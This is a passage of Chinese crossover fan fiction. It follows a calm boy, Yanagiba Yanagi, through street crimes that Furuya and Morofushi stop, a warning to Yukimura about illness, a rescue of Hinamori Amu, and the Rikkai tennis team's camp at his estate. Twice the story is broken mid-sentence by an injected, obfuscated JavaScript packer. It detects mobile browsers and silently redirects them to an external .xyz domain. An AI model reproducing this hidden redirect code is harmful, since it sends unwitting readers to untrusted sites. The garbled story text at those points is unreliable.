这个出乎意料的答案让降谷零和诸伏景光都愣了一下,随即失笑。 “网球冠军吗?也很棒。”降谷零点头,“无论选择哪条路,保持这份敏锐和冷静都会让你受益匪浅。” 短暂的相遇后,两位大学生告辞离开,他们还有自己的事情要处理。 甜品店的骚动逐渐平息,但柳明音的兴奋劲儿却还没过去:“柳君!你太厉害了!简直就像名侦探一样!” 加九间柳看了看桌上已经有些融化了的芭菲,拿起勺子:“嗯。不过,冰淇淋要化了。” 他的注意力很快就从刚才的案件跳回到了眼前的甜点上。 对于加九间柳而言,他看到了,理解了,指出了,如此而已。 7. 柯学特色 日子依旧在训练和学习中稳步向前。柳明音偶尔会因为前晚熬夜整理照片或剪辑视频睡过头,加九间柳便也习惯了独自进行晨间活动。 天气不错的上午,加九间柳打算去附近一家大型书店购买新到的网球杂志以及几本学习上参考书——用于辅导柳明音缺席的课程。他独自一人走在街道上,享受着周末上午相对宁静的氛围。 然而,这份宁静并未持续太久。 就在他经过一个街口时,前方突然传来一阵骚动和女性的尖叫声。只见一个神色慌张的男人抓着一个女士手提包,正疯狂地朝他这个方向冲来,身后是一位焦急追赶的中年女性。 “抢劫啊!抓住他!” 加九间柳脚步一顿,正准备做点什么——比如伸一下脚——却见斜侧方猛地冲出一道身影。 “站住!”一声清喝响起。 是前几日见到过的那个金发黑肤的大学生,降谷零。他不知从哪里出现,动作干净利落,一个标准的擒拿动作,精准地扣住了抢劫犯的手腕,顺势一扭一压,瞬间就将对方制服在地,整个过程不过两三秒。被抢的手提包也掉落在一边。 “谢、谢谢你!”追赶上来的女士惊魂未定地连连道谢。 “不客气,请稍等,警察应该很快就到。”降谷零维持着压制动作,语气沉稳。他的目光扫过周围,恰好看到了站在不远处的加九间柳,微微点了点头算是打招呼。 加九间柳也点了点头,心里想着:动作很专业,果然是朝着警察方向去的。 他绕过这个小骚动,继续往书店走去。没想到,刚走过两个街区,又是一阵不寻常的动静吸引了他的注意。 这次是在一条相对僻静的小巷口。他听到里面传来压抑的争吵声和什么东西撞击的声音。 加九间柳朝巷子里瞥了一眼。只见两个男人正在对峙,其中一个表情凶狠,手里似乎握着什么反光的东西,像是一把小刀,另一个则背对着巷口,身形看起来有些熟悉。 “……别多管闲事!”持刀的男人恶狠狠地低吼。 “这可不是闲事。”背对着巷口的男人开口了,声音温和却带着不容置疑的坚定——是诸伏景光。 加九间柳看到诸伏景光似乎正护着身后一个缩在墙角、瑟瑟发抖的人。持刀的男人情绪激动,眼看就要扑上来。 加九间柳思考了零点五秒是否需要帮忙,却见诸伏景光身形一动,看似轻巧地侧身避开了对方的扑刺,同时手肘精准地击打在对方持刀的手腕上。小刀“哐当”落地,紧接着诸伏景光又是一个流畅的擒拿,将吃痛的男人反剪双手按在了墙上。 “已经报警了。”诸伏景光的声音依旧平静,“有什么话,跟警察说吧。” 加九间柳:“……”效率真高。这两位大学生是专门在街上巡逻的吗? 他没有现身,默默地从巷口走开。心里对这两位未来警察的身手有了更直观的认识。 终于,书店的招牌就在眼前了。加九间柳松了口气,感觉这趟出门有点过于“精彩”。 他推开书店的门,凉爽安静的环境让他心情舒缓了不少。他径直走向体育杂志区,找到了想要的网球杂志,又按照书单去寻找参考书。 就在他踮着脚试图够到书架上层的一本书时,一只骨节分明的手先他一步,轻松地将那本书取了下来。 “是这本吗?”温和的声音在旁边响起。 加九间柳转过头,看到了诸伏景光带着笑意的猫眼。而另一边,降谷零也正拿着一本法律相关的书籍走过来。 加九间柳沉默地接过书,看了看两位大学生,又回想了一下一路上的“遭遇”,终于忍不住,用一种极其平静却带着一丝微妙探究的语气开口: “你们平时出门……总是这样吗?” “嗯?”诸伏景光一时没反应过来。 降谷零倒是立刻理解了他话中的含义,回想起刚才制服抢劫犯和之前甜品店的事件,冷峻的脸上闪过一丝不易察觉的尴尬:“……只是巧合。” 诸伏景光也明白了过来,有些不好意思地笑了笑:“今天好像确实……遇到的事情多了点。” 加九间柳用他那双过于通透的眼睛看了看他们,又看了看窗外平静的街道,再回过头看着他们,虽然没再说话,但那眼神分明在表达一种无声的吐槽:真的只是“多了点”和“巧合”吗?自从遇到他们,遇到的案件比普通人一年遇到的都多。 降谷零和诸伏景光被一个小孩用这种眼神看着,莫名感到一阵心虚和无奈。这种走到哪儿事件就跟到哪儿的体质,他们自己也隐约有所察觉,只是被一个刚认识的小朋友如此直白地“点破”,还是头一遭。 “……要去收银台了吗?”降谷零生硬地转移了话题。 加九间柳点点头,抱着书跟在他们身后。 结账的时候,收银台那边又响起了一阵小小的骚动,似乎是有顾客发现钱包被偷了。降谷零和诸伏景光条件反射般地眼神一凛,迅速扫视周围。 加九间柳默默地往旁边站了一步,用一种近乎怜悯的眼神看着那两个瞬间进入戒备状态的大学生。 最终,书店的小偷事件由店方自己处理了,并未需要降谷和诸伏出手。 三人一起走出书店。降谷零和诸伏景光看着身边这个异常早熟冷静的小男孩,再次感慨。 “加九间君,下次如果再遇到什么……奇怪的事情,可以的话,尽量先保证自身安全。”诸伏景光温和地叮嘱道,他指的是加九间柳那过于敏锐的观察和有时直接的点破行为。 “嗯。”加九间柳应了一声,然后补充道,“你们也是。”尽量别引出太多事件。 降谷零:“……”总觉得被一个小孩子微妙地关心甚至可能是吐槽了。 告别了两位事件体质显眼的大学生,加九间柳抱着新书和杂志,独自走在回家的路上。阳光明媚,街道恢复了他出门时期待的宁静。 他回想了一下今天的经历,抢劫、持刀威胁、小偷……真是比训练还“丰富”的半日。 那两个人,以后还是尽量避开同行比较好。 加九间柳得出了这样一个结论,并决定下次如果看到他们出现在附近,就稍微绕一下路。毕竟,他只是想安安静静地度过普通人的一生。 他将这些插曲抛诸脑后,思绪重新回到了新买的网球杂志上。不知道上面有没有关于立海大全国夺冠的详细报道,或者……关于幸村精市“灭五感”的分析。这才是他目前真正感兴趣的世界。 回到加九间宅,偌大的庭院安静无声。他径直回到自己的房间,将参考书放在书桌上,翻开了那本崭新的网球杂志。 果然,封面上赫然印着立海大附中网球部举起全国大赛冠军奖杯的大幅照片。幸村精市站在最中央,披着土黄色的正选外套,笑容温和而自信,眼神中却蕴含着少年的骄傲。真田弦一郎站在他身旁,表情一如既往的严肃,帽檐下的目光锐利如鹰。 文章详细描述了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360808|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们在全国大赛中的统治级表现,着重提到了部长幸村精市和副部长真田弦一郎作为一年级正选的惊人实力。 『……尤其是部长幸村精市,其比赛风格优雅而极具压迫性,至今未尝败绩,甚至未曾有人能从他手中拿下一局。其绝技‘灭五感’更是在决赛中首次被媒体广泛关注并描述,虽无法确切证实,但其对手在比赛中段表现出的茫然与失控,似乎印证了这一传闻的可怕之处……』 加九间柳的目光在“灭五感”三个字上停留了很久。杂志的报道语焉不详,更多的是猜测和渲染其神秘性,但亲眼见证过那一幕的他,深知那并非夸大其词。 他又翻到后面,看到了关东地区其他学校的一些报道,包括冰帝学园、青学等,但篇幅远不及立海大。合上杂志,他靠在椅背上,望着天花板上垂下的吊灯。 他知道自己和幸村他们之间在网球上存在着巨大的差距,可以理解拆分他们的动作,却无法复刻,更是在技术、经验以及那种对网球深刻理解上的鸿沟。 但这并未让他感到气馁,反而更加点燃了他的斗志。他拿起放在墙边的网球拍,轻轻挥动了一下。纯粹的、符合物理定律的力量和速度固然是基础,但幸村的网球显然已经触及了更深层次的东西——精神层面。 加九间柳并不急于求成。他享受这种一步步锤炼、一点点变强的过程。无论是基础体能、技术细节,还是对战术的理解,他都愿意投入时间去打磨。 下午,柳明音终于睡眼惺忪地来了加九间家。一进门就瘫倒在客厅柔软的沙发上:“昨天剪视频剪到好晚……” 加九间柳给他倒了杯水,然后把那几本参考书推到他面前:“这是今天买的。你落下的课程内容,重点我都划出来了。” 柳明音哀嚎一声,把脸埋进抱枕里:“柳君……刚睡醒就要面对这个……” “早点看完,晚上可以陪你打游戏。”加九间柳抛出一个诱饵。 柳明音立刻抬起头,眼睛亮了一下:“真的?说好了哦!” 于是,下午的时光就在一个埋头苦学、一个安静看网球杂志或时常拿着画笔不知对着何处描绘着什么中度过。 学习结束,加九间柳拿出新买的尚未拆封的游戏机,柳明音在这方面倒是很有天赋,和加九间柳配合默契,两人轻松通关了几个难度不低的副本。 “赢了!”柳明音兴奋地放下手柄,伸了个懒腰,“果然和小柳一起玩最开心了!” 送走心满意足的柳明音后,加九间柳独自来到后院。夜幕已经降临,夏夜的微风带着一丝凉意。庭院里专门开辟出的几块训练场地在月光下显得格外静谧。 他没有急着拿起网球拍,而是站在空地上,手持一柄木剑。 也还很长,属于加九间柳的训练还很多。 莹草不知何时出现在了院子的角落,安静地看着和妖怪们对打的少年,地上的蒲公英也随风飘向远方。 日子就这样平稳地流淌着,训练、学习、偶尔和柳明音或者幸村真田见面。加九间柳稳步地提升着自己的网球技术,虽然尚未找到属于自己的“绝招”,但他的基础越发扎实,实力也在不知不觉中增长着。 至于那两位似乎总是卷入事件的大学生,加九间柳后来确实又远远见到过他们一两次,每次他们周围似乎都围绕着某种无形的“忙碌”气场。加九间柳每次都毫不犹豫地选择了另一条路。 果然普通人的生活按理来说是不会遇上那么多案件的吧。 8. 妖怪 加九间柳和柳明音升入六年级。两人的身高都有所增长,加九间柳要比柳明音明显高一点,又要比幸村精市他们矮一点,没有小时候那种过于沉默的感觉,相对来说活泼了不少。柳明音倒是比起小时候要稳重许多,不变的是两人依旧黏黏糊糊待在一起。 某个周末,他们初次造访立海大附中网球部。此时的立海大,在二年级的部长幸村精市、副部长真田弦一郎以及军师柳莲二的带领下,正以更加锐不可当的气势统治着国中网球界。部活的气氛严谨热烈,队员们挥拍的破空声、奔跑的脚步声以及真田时不时的训斥声交织在一起。 正在训斥部员的真田弦一郎:“太松懈了!” 柳明音:“真田哥还是老样子呢。” 柳明音是来送上他最新剪辑好的地区预选赛和练习赛录像,而加九间柳则另有目的——前些日子聊天时,幸村精市在想今年的合宿该去哪里,他向幸村推荐自家那片广阔且连接着后山的庭院,作为立海大暑假合宿训练的备选地点。 隔着铁丝网,他们看到幸村正指导着一名队员的姿势,真田在一旁监督全员,柳莲二则拿着笔记本穿梭于各个场地之间记录数据。 看到他们,幸村笑着走了过来。 “又麻烦你们了。”幸村接过柳明音递来的光盘,温和道谢,目光随即转向加九间柳,带着一丝询问。 加九间柳的目光落在幸村身上,正准备开口说明来意,却忽然顿住了。他的眉头几不可察地微微蹙起。在幸村精市周身那耀眼夺目的“气场”中,他清晰地看到几缕极淡、却透着不祥与虚弱意味的灰暗“病气”,正丝丝缕缕地缠绕着,尤其盘桓在头部与脊椎附近。 就在这时,因为柳生临时有事,被拜托有问题可以先与柳莲二探讨的一位学生会干部模样的人匆匆跑到网球场边,朝着场内喊道:“柳君(Yanagi-kun)!关于暑期预算案有些急事需要你现在确认一下!” 几乎是话音落下的瞬间,场内的柳莲二(Yanagi Renji)、场外的柳明音(Yanagime Otodo)以及正准备说话的加九间柳(Yanagiba Yanagi),三人同时闻声转头,看向了那位学生会干部。 场面瞬间凝固,带着一种奇妙的喜剧效果。 那位学生会干部显然也没料到会有三个人同时回应,一下子愣在原地,张了张嘴,不知道具体该看谁。 柳莲二最先反应过来,推了推并不存在的眼镜,平静地开口:“是在叫我。抱歉,失陪一下。”他对着幸村和真田示意,然后朝那位干部走去。 柳明音眨了眨眼,看看表哥的背影,又看看旁边的加九间柳,忍不住笑起来:“哈哈,小柳,你刚才也转头了。” 加九间柳脸上没什么表情,只是淡淡地“嗯”了一声,似乎觉得这下意识的反应有些多余。但他的注意力很快重新集中到幸村身上,那缕病气让他无法忽视刚才被打断的话题。 幸村和真田也觉得这小小插曲有些有趣,幸村眼中带着笑意,但很快,他们都注意到加九间柳的神情似乎比平时更为严肃,目光紧紧落在幸村身上。 “加九间君,是有什么事吗?”幸村主动问道,察觉到他似乎有话要说。 加九间柳上前一步,无视了旁边真田略带疑惑的审视目光,直视着幸村,语气是一贯的平静,且直白:“幸村前辈,请恕我冒昧。你最近是否感到过莫名的疲惫、头痛,或者身体某些部位偶尔会出现麻木无力感?” 这个问题太过突兀,以至于幸村脸上的微笑都微微一滞。真田的眉头立刻紧锁起来,语气沉了下去:“加九间!” 幸村抬手,再次温和地止住了真田。他看着加九间柳,那双紫色的眼眸里闪过一丝探究:“谢谢你的关心,加九间君。我并没有特别明显的不适感。”他确实偶尔会觉得有些异常疲劳,但只归咎于训练量和学业压力。 加九间柳却摇了摇头,那双过于通透的眼睛里没有丝毫玩笑的意味:“不,我认为有必要。请务必抽空去做一次详细的身体检查,尤其是神经系统方面的。”他的语气带着一种近乎预知般的笃定,“有些问题,早期发现会更好。” 真田还想说什么,却被幸村眼神制止了。幸村看着加九间柳认真的表情,虽然觉得不可思议,但对方的关心不似作伪。他沉吟片刻,点了点头:“好吧,你的建议我收到了,我会考虑的。” 加九间柳似乎松了口气,但他觉得这还不够。他想起莹草那些蕴含着微弱治愈力量的蒲公英。他转身,从自己的网球袋侧袋里,拿出了一个小心封好的透明小袋子,里面装着一捧毛茸茸、散发着几乎肉眼难以察觉的柔和光点的蒲公英。 “这个,请你收下。”他将袋子递给幸村,“放在身边,或者偶尔看看,也许能让你感觉稍微舒服一点。”他无法解释它的来历和真正作用,只能给出这样模糊的建议。 幸村有些诧异地看着那捧似乎比普通蒲公英更莹润、更充满生机的白色绒球。他迟疑了一下,还是接了过来。就在指尖触碰到袋子的瞬间,一股极其微弱却无比清新的凉意似乎透过袋子传来,脑中那极其偶尔细微到被他忽略的沉闷感似乎真的被驱散了一丝,带来片刻的清明与舒缓。 “……谢谢。”幸村将这份奇特的礼物小心收好,虽然不解,但这份心意他感受到了。 加九间柳见目的达到,便不再纠缠于健康问题,转而说明此行的另一个目的:“幸村前辈,你们暑假计划合宿训练吗?” “正在商讨地点。”幸村回答,似乎猜到了什么。 “我家的庭院很宽敞,而且直接连着后面的山。我经常上山,路径熟悉,山里没有什么危险的野兽或地形,很适合进行耐力训练、越野跑或者山地适应性练习。如果你们有兴趣,可以考虑。”加九间柳平静地推荐道。 这个提议让幸村和真田(后者虽然还对刚才的诊断耿耿于怀)都露出了深思的表情。一个新的自然的训练环境确实很有吸引力。 “听起来是个非常不错的选择。”幸村精市认真地点点头,“我们会仔细考虑你的提议的,加九间君,非常感谢。” 又交流了几句后,加九间柳和完成了交接任务的柳明音便告辞离开。 回去的路上,柳明音终于忍不住好奇地问:“小柳,你刚才为什么那么严肃地让幸村哥去检查身体啊?还给了他一包蒲公英?真田哥好像有点生气了。” 加九间柳望着车窗外飞逝的景色,沉默了片刻,才轻声回答:“只是觉得他需要。希望他没事。” 他的脑海中,那缕不祥的病气依旧清晰。他能做的提醒和微小的缓解已经做了。他只希望这位强大的前辈能重视起来,不会被他所见的“阴影”所困。 网球的世界,需要完好无损的“神之子”。 不过加九间柳不会过于担心,无论什么样的困境,幸村精市都会突破,这在加九间柳看来是理所当然的。 加九间柳同柳明音回到了自家的庭院,剩下的时间是柳明音的补习时间,尽管他目前掌握的不错,但要考入立海大,还要再稳妥一点。 然而,这份宁静很快被打破。 一阵细微却尖锐的“嘻嘻哈哈”声划破空气,伴随着几道黑影急速掠过。加九间柳抬头,只见三四个周身缠绕着不详黑色漩涡、咧着大嘴的坏蛋正像没头苍蝇一样在庭院里乱窜,它们互相碰撞,掀翻了一个放在石灯笼上的空陶盆,又试图去扯拽一株精心培育的兰草的叶片,所过之处留下淡淡的焦躁与恶意。 柳明音扯住加九间柳的衣袖,惊异地看着空中胡乱飞舞的黑漆漆的蛋:“这是什么?” “坏掉的守护灵。”加九间柳的目光沉下来,带着一丝不易察觉的冷意。他并不经常主动处理这些由心灵之蛋变质而来的麻烦东西,但现在它们闯入了他的领地,试图破坏这里的平静。 其中一个坏蛋最为调皮,它尖叫着朝加九间柳的面门直冲过来,似乎想吓唬这个冷漠的少年。 加九间柳站在原地,不闪不避。就在坏蛋即将撞上他的前一秒,他抬起了右手,掌心对着那横冲直撞的坏蛋。 没有风,也没有声音,但那只坏蛋就像撞上了一堵无形的墙壁,猛地在空中刹停。它似乎愣住了,身上的黑色漩涡都凝滞了一瞬。紧接着,一股无法抗拒的力量攥住了它,它完全不受控制地飞向了加九间柳抬起的手,轻飘飘地落入了他的掌心。 坏蛋躺在加九间柳的手里,方才的嚣张气焰消失得无影无踪。它感受到了从少年身上散发出的极强的压迫感,并非针对它的恶意,而是一种绝对上位存在对渺小混乱造物的天然震慑。它开始剧烈地颤抖起来,身上的红色叉号明灭不定,咧开的嘴紧紧闭上,连一丝声音都不敢再发出,乖顺得像一颗真正的普通的蛋。 另外几个坏蛋似乎被同伴的遭遇吓到,僵在半空,不敢再胡乱动弹。 就在这时,一个焦急又充满活力的女声从高高的围墙上方传来: “喂——!不许跑!给我站住!……诶?怎么都停在那里了?” 伴随着话语,一个身影利落地跳上了高达近三米的庭院围墙顶端。日奈森亚梦,变身为「Amulet Heart」的姿态,正一手叉腰,气喘吁吁地指着那些坏蛋。她显然是一路追着这些家伙过来的。 她看到坏蛋们诡异地悬浮着,其中一个还被曾经见过的少年托在手里瑟瑟发抖。虽然场景有点奇怪,但净化坏蛋是首要任务! “Open Heart!” 亚梦没有多想,站在墙头,举起变身后的武器,毫不犹豫地释放了必杀技。巨大的粉色光辉混合着心形印记如潮水般涌出,温柔而强劲地扫过庭院所有存在坏蛋的地方。 被光芒笼罩的坏蛋们身上的黑色迅速褪去,变回了纯净的光洁蛋壳,上面浮现出微笑的表情。它们轻轻晃动了几下,仿佛在表示感谢,然后纷纷飞起,消失在暮色中,回归主人的心灵。 “搞定!”亚梦松了口气,脸上露出完成任务后的轻松笑容。周身光芒闪过,解除了变身,恢复了日常的校服装扮。 然后,她僵住了。 解除变身后,属于普通女生日奈森亚梦的视角回归了。她低头看了看脚下——是狭窄的距离地面有三米高的围墙顶端!再环顾四周,是陌生但显然非常私人的巨大庭院。 而她自己,正独自一人,傻乎乎地站在这么高的墙头上,没有任何可以借力下去的地方。 “呜哇?!这、这要怎么下去?!”亚梦瞬间慌了,身体下意识地抖了一下,吓得声音都变了调。她刚才追得太投入,完全没考虑落地问题! 一直在下方静静看着的加九间柳,无声地叹了口气。他向前走了几步,来到了亚梦正下方的围墙边。 他抬起头,看向墙上那个惊慌失措脸颊通红的女孩,伸出了双臂,做出了一个准备接住的姿势。 他的表情依旧没什么变化,声音也是同初见那般清冷,却带着一种让人莫名安心的笃定: “跳下来。” “我会接住你。” 亚梦看着下方的少年。他的眼神过于平静,手臂看起来也并不算特别强壮,但奇异地,他的话语里有一种让人无法怀疑的力量。而且…她好像确实没有别的选择了!总不能一直站在别人家的墙头上吧! “那、那我真的跳了!”亚梦闭上眼睛,心一横,几乎是把自己从墙头上“推”了下去。 预想中的撞击和疼痛并没有传来。 她落入了一个并不宽阔却异常稳定的怀抱。加九间柳精准地接住了她,下坠力让他微微屈膝缓冲,身形晃都未晃一下便稳稳站住,整个过程干净利落,仿佛只是接住了一片轻盈的羽毛。 亚梦下意识地抓住了他肩部的衣服,惊魂未定地睁开眼,正好对上他近在咫尺的平静眼眸。他的呼吸甚至都没有变得急促。 “谢、谢谢……”亚梦连忙道谢,脸颊更红了,慌忙从他怀里跳下来,站到地上,有些手足无措地整理了一下自己的校服裙摆,“对不起!我不是故意闯进来的!我是追着那些坏蛋……” “嗯。我知道。”加九间柳淡淡地应了一声,收回了手臂,仿佛刚才只是做了一件微不足道的小事。他看了看坏蛋消失的方向,“已经解决了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360809|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “很厉害哎,刚刚那是什么?”柳明音从加九间柳身后探出头来,两个少年近距离漂亮的脸让日奈森亚梦控制不住的脸红一瞬,柳明音自顾自地回忆起最近看到过的漫画,“魔法少女?” “不、不是的!那个是孩子们的心灵之蛋,多亏了你们……呃,把它们定住了?”亚梦语无伦次地解释,想起刚才奇怪的景象,好奇地打量起眼前的加九间柳。他看起来和她年纪相仿,气质却非常独特,有种超越年龄的沉静,而且…他刚才似乎徒手就控制住了坏蛋?! 加九间柳感受到日奈森亚梦的目光,但没有解释的意思,只是说:“这里是我家。” “啊!非常抱歉!”亚梦立刻再次道歉,“我叫日奈森亚梦,是圣夜学园的学生。刚才真是失礼了!” “我叫柳明音。”柳明音倒是对这个被加九间柳提到过一次的女孩有点兴趣,但也只是友好的打了招呼,交换姓名。 “加九间柳。”他再次说出了自己的名字,算是回应。他的目光掠过亚梦,看向她身后的围墙,“以后追它们,注意安全。” “我会的!”亚梦用力点头,心里想着:下次绝对不能再冲动地跳到那么高的地方了! 就在这时,庭院深处传来一个温和的声音:“加九间大人,是有客人来了吗?” 一个穿着淡色和服、发间别着蒲公英状饰物的少女从树影后缓步走出,正是莹草。她好奇地看着亚梦这个生面孔。 柳明音朝莹草点点头招呼:“莹草姐姐。” 莹草回以微笑:“明音。” 加九间柳看向莹草,解释道:“追坏蛋的。”言简意赅。 莹草掩唇轻笑:“原来如此。欢迎来到加九间家的庭院,日奈森同学。没受伤吧?”她注意到了刚才墙头的高度,关切地问道。 “没、没有!加九间同学接住我了!”亚梦连忙摆手,面对又一个气质独特的美人,她有点应接不暇。这个庭院和里面的人,都给人一种非同寻常的感觉。 “那就好。”莹草微笑着点头,然后对加九间柳说,“点心已经准备好了哦。” 加九间柳看向亚梦:“需要送你出去吗?”意思是你该回家了。 “唉唉唉——?!”一个头顶一个面具的少年从树上探出头来,显然对加九间柳的话不太满意,“这个时候应该邀请少女一起吃点心,玩游戏,然后成为好朋友啊好朋友!” 加九间柳露出半月眼有些无语的看着一直藏在庭院树上的般若,他知道这家伙一直想偷偷靠近柳明音,虽然现在般若已经不会做出什么引诱伤害普通人的事,但平常时候加九间柳还是会将他隔在以柳明音为中心的结界外,今日倒是让他钻了空子。 亚梦这才反应过来天色已晚,连忙摇头:“不用不用!我知道路了!非常抱歉打扰了!谢谢你们!再见!”她说着,微微鞠躬,然后快步朝着记忆中来时的大门方向走去,背影显得有些仓促却礼貌。 “不解风情的家伙。”般若跳下树来,点了点加九间柳的脑袋。 加九间柳并没对般若的话做什么回应,打包一袋点心,走到门口,果不其然又看到迷路绕回来了的日奈森亚梦。 他将点心放到日奈森亚梦手中,还是解释了一句:“已经很晚了,随便留在陌生男生的家里会很危险,莹草会护送你回家。” “非、非常感谢!” 直到亚梦的身影在莹草的带领下消失在道路尽头,加九间柳才重新关上门,扭头看到般若和柳明音脸对脸互相近距离欣赏。 加九间柳看着般若那张带着玩味笑容的俊脸几乎要贴上柳明音好奇打量他的脸庞,眉头微不可察地蹙了一下。他伸出手,不是推开般若,而是轻轻将探出身子的柳明音往回拉了一点,让他与自己靠得更近,拉开了与般若的距离。 “小柳,你的朋友好可爱喔。”柳明音自以为小声的夸赞,殊不知在两人耳朵里格外清晰。般若愉快的咧开嘴。 加九间柳并没有否认“朋友”这个词,他声音平淡无波地介绍“是一个暂时赖在这里不走的家伙。” 般若闻言,非但没有生气,反而笑得更加灿烂,金色的眼眸弯成了月牙,周身仿佛飘起了看不见的小花。“哎呀呀,小柳好无情啊~明明我们都共处一个屋檐下这么久了~”他故意用甜腻的腔调说着,还试图伸手去戳加九间柳没什么表情的脸,“我可是很努力地在帮忙看家护院哦?” 加九间柳微微偏头,躲开了他的手指,眼神里透出一点“你所谓的看家护院就是躲在树上偷懒和故意把坏蛋引来玩吗”的无声质疑。 柳明音看着两人的互动,眨了眨眼,似乎觉得很有趣。他搓了搓指尖,但并没有在外人面前做出什么失礼的行为。 加九间柳还是向柳明音介绍了自己的妖怪朋友,“可以叫他般若。不用理他太多,他大部分时候只是在自言自语和傻笑。” “喂喂!当面说人坏话可不好哦!”般若抗议道,但脸上依旧笑嘻嘻的。他凑近柳明音,歪着头,面具上的表情似乎都生动了几分,“不过嘛~明音小弟弟比某个冷冰冰的家伙可爱多了~要不要听听有趣的故事?我知道很多哦~” 加九间柳不动声色地侧身,完全挡住了般若看向柳明音的视线,语气依旧平淡却带着不容置疑的意味:“他该回去复习功课了。你也该回树上或者回你的角落待着去了。” 般若夸张地叹了口气,摊手:“真是的,保护过度啦~好吧好吧,不打扰你们用功了~”他说着,转身向后院深山走去,身形似乎如雾般消散,只留下带着笑意的余音在庭院里轻轻回荡,“下次再见咯,可爱的明音弟弟~还有……无趣的柳酱~” 待到般若的气息彻底隐去,加九间柳才收回目光,低头对柳明音说:“别被他骗了。他的话十句里有九句不能信。” 柳明音似懂非懂地点点头,但还是忍不住笑了笑:“嗯……但是,感觉他不像坏人?而且,有小柳在,没关系。” 加九间柳看着柳明音全然信任的眼神,沉默了一下,最终只是轻轻“嗯”了一声,牵起他的手。 “回去吧,点心要凉了。” 9. 合宿 立海大网球部的暑期合宿,最终定在了加九间柳家的庭院。 距离并不远,在十公里左右,于是大家的行李由加九间柳派车去拉回来,部员们则跑步前来,在他们还有一公里到达时碰到前来迎接的莹草,剩下的路程便一同走到加九间柳的庭院门口。带着对未知合宿地的好奇,推开相当沉重的大门,展现出其内广阔得超乎想象,明显经过精心打理的日式庭院,即使是见多识广的立海大正选们,也不由得发出低声的惊叹。 “哇哦——!这、这真的是私人庭院吗?感觉比很多公园还要大啊!”丸井文太吹破了泡泡糖,瞪大了眼睛。 “噗哩~看来我们未来的小部员家底相当丰厚啊。”仁王雅治习惯性地卷着小辫子,目光扫过远处隐约可见的山林轮廓。 “太厉害了!”切原赤也已经兴奋地东张西望,“那里有山!可以探险吗?” 真田弦一郎沉声道:“赤也!我们是来训练的,不是来游玩的!” “是……”切原瞬间蔫了下去。 幸村精市微笑着环视四周,目光中带着欣赏:“真是个好地方,空气也很清新。加九间君,非常感谢你能提供这样的场地。” 柳莲二已经拿出了笔记本开始记录:“占地面积初步估算超过标准运动场二十倍以上,连接未开发山林,地形复杂多样,非常适合进行多种强化训练。数据非常宝贵。” 加九间柳依旧是那副平静的样子,点了点头:“不必客气。房间已经准备好,按照幸村前辈的要求,大家住在同一房间。这里除了我和偶尔来的明音,平时几乎没有别人,会有提供餐食的管家,你们可以随意参观,不过…”他顿了顿,目光扫过众人,“后山区域,不要单独深入,必须结伴,记得向我或莲二前辈报备方向,虽然能够确保你们的安全,但如果迷路的话也会很麻烦。” 安排好的住宿——是宽敞的和式房间,干净整洁,推开拉门就能看到庭院景观。为满足少年们的好奇心,稍作休整后,幸村精市应允了一小时自由活动的时间,大家几乎都在探索这片加九间柳的领地。 训练场地早已规划好,庭院本身的空地足够进行基础练习和分组对打。但少年们的探索欲远不止于此。 “咦?这个建筑风格好像和主屋不太一样?”胡狼桑原指着庭院深处一栋看起来带着一丝冷硬感的独立建筑。 门没有锁。仁王好奇地推开了一条缝,然后动作顿住了。 “哇啊——!”凑过来的切原直接叫出了声。 里面并非他们想象的仓库或工具房,而是一间——冷兵器陈列库! 墙壁上悬挂着,架子上陈列着各种形制的日本刀(会被加九间柳摆出来的当然是未开刃的)、长枪、薙刀、弓具,甚至还有一些造型奇特说不出来历的古老兵器。每一件都保养得极好,在从窗户透入的光线下泛着冷冽沉稳的光泽,无声地诉说着其锋芒。 所有队员都围了过来,连真田和幸村的眼中都露出了惊讶的神色。真田尤其对其中一把造型古朴的打刀多看了几眼。 “加九间君,这是……?”幸村看向不知何时出现在他们身后的加九间柳。 “一些收藏。”加九间柳简单解释,“可以触碰,但请注意安全,刀刃不要对着自己和别人,不要受伤。” 离开兵器库不远,另一间宽敞得惊人的房间吸引了他们的注意。里面铺着特制的木板,四周摆放着一些练功用的器具。 “演武场?”柳莲二推测。 加九间柳点头:“嗯。如果需要做核心力量训练或者身体协调性练习,这里也可以用。” 接着,他们又推开了一扇门。这一次,连最冷静的柳莲二笔尖都顿了一下。 房间里整齐排列着数排高大的架子,上面站满了形态各异、大小不一的机械人偶。金属与某种特殊木材结合,细节精致得惊人,胸口或背部往往印有龙胆纹,像是历史上源氏家纹。有些看起来完好无损,有些则像是半成品或待修复的状态,精细得仿佛下一秒就会动起来。 对历史和机械都有些了解的柳生比吕士推了推眼镜,难掩惊异,“是某种高度复原的模型吗?制作水平堪称绝艺。” “算是吧。”加九间柳的回答依旧含糊,“一些爱好。” 一台价值二百万勾玉呢,算得上老妖怪的加九间柳在被原主人允许(阴阳师家族没落,靠着年龄优势熬死家主,其后辈打不过加九间柳)的情况下还不赶紧抢来收藏就太亏了。 然后,他们几乎是懵懂地又被引到了一间充满柔和光线的房间。这一次,就连丸井和切原都安静了下来。 房间里是数排衣架,上面挂满了各式各样精美无比的和服与羽织。男式女式皆有,从沉稳大气的色无地、纹付羽织袴,到华丽绚烂的访问着、振袖,面料从丝绸到麻纱,仿佛走进了顶级和服店的珍藏室。 